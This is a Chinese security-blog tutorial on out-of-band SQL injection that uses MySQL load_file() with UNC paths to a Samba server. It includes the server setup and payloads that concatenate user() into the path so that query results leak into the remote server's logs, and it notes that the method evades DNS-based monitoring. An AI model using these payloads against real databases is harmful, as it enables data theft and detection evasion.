SMB外带注入?

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


文章来源:月影斑驳博客

原文地址:http://moonslow.com/article/smb_sql_injection


0x01 前言

温故而知新,今天在整理古老的近乎失传的DNS外带注入方法时,偶然间发现外带数据的装载区域并不一定是域名前缀。放在后面也是可以的,由于目前网络上没有相关的记载,姑且称之为SMB外带注入吧。

0x02 搭建测试环境

我使用的是CentOS7 ,直接

yum install samba

然后vi /etc/samba/smb.conf修改配置文件,找到security = user , 旧版本将user改为share,这里我用的新版本,需要在后面添加
map to guest = Bad User

日志记录级别调到10 ,level 0-10 ,调到最高便于记录:
log level =0

然后再配置一个test共享:
[test]        comment = Public stuff        path = /usr/local/test        public = yes        browseable = yes        guest ok = yes

保存后重启samba服务。

0x03 本地测试过程

找一台windows环境的机器,上面安装MySQL ,建议安装 MySQL 5.7.16 以下版本,主要是由于高版本有一个默认选项secure_file_prvi ,默认不允许load_file 。

我们在MySQL服务器上执行这样一条SQL语句:
select load_file('\\118.193.40.73\smb_test\1.txt');

在samba服务器上查看到了这样一条日志:
smbd_smb2_tree_connect: couldn't find service smb_test[2021/06/26 21:40:05.263149,  3, pid=27801, effective(0, 0), real(0, 0), class=smb2] ../../source3/smbd/smb2_server.c:3266(smbd_smb2_request_error_ex)

如果执行的共享目录存在于服务器上:
select load_file('\\118.193.40.73\test\smb_test\1.txt');

会得到这样的日志(vi /var/log/samba/log.smbd ):
check_reduced_name: check_reduced_name [smb_test.sym] [/usr/local/test][2021/06/26 21:44:07.854561, 10, pid=28050, effective(65534, 65534), real(65534, 0), class=vfs] ../../source3/smbd/vfs.c:1382(check_reduced_name)

使用这两种方法都可以。我们选择第一种方法来查询一下user():

select load_file(concat('\\118.193.40.73\',user(),'\1.txt'));
smbd_smb2_tree_connect: couldn't find service [email protected]

可以收到查询的内容了。经过测试,使用第一种方法查询时间为9.12秒,而第二种方法只需要1.93秒,相差还是挺大的,当然推荐第二种了。

有待改进之处:由于日志级别调到了最高,日志内容比较多,不便于查找,日志还需要进一步优化。不过,我们可以插入关键词进行匹配:
load_file(concat('\\118.193.40.73\test\[do9gy',user(),'do9gy]\1.txt'))

经过优化后:
open_file_ntcreate: fname=[do9gyroot@localhostdo9gy].sym, dos_attrs=0x80 access_mask=0x120089 share_access=0x7 create_disposition = 0x1 create_options=0x40 unix mode=0744 oplock_request=256 private_flags = 0x0

这样就方便搜索多了(有点土耳其黑客的意思了)。

0x04 SMB、DNS对比

1. smb外带注入 可以一次性提交更大长度的字符,经测试长度在120是没有问题的,而dns前缀最多是63个字符。而且对特殊字符的兼容性比较好,目前测试发现 *是不行的,其他还有待fuzz。


2. smb外带注入不依赖于dns,可以绕过目前流量监测设备对异常域名前缀的捕获,可以直接使用ip,不需要dns请求。


3. 二者都受限于windows系统以及MySQL 的secure_file_prvi 。




关注公众号回复“9527”可免费获取一套HTB靶场文档和视频,1120”安全参考等安全杂志PDF电子版,1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包还在等什么?赶紧点击下方名片关注学习吧!


推 荐 阅 读




SMB外带注入?
SMB外带注入?
SMB外带注入?

欢 迎 私 下 骚 扰



SMB外带注入?

本文始发于微信公众号(潇湘信安):SMB外带注入?

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: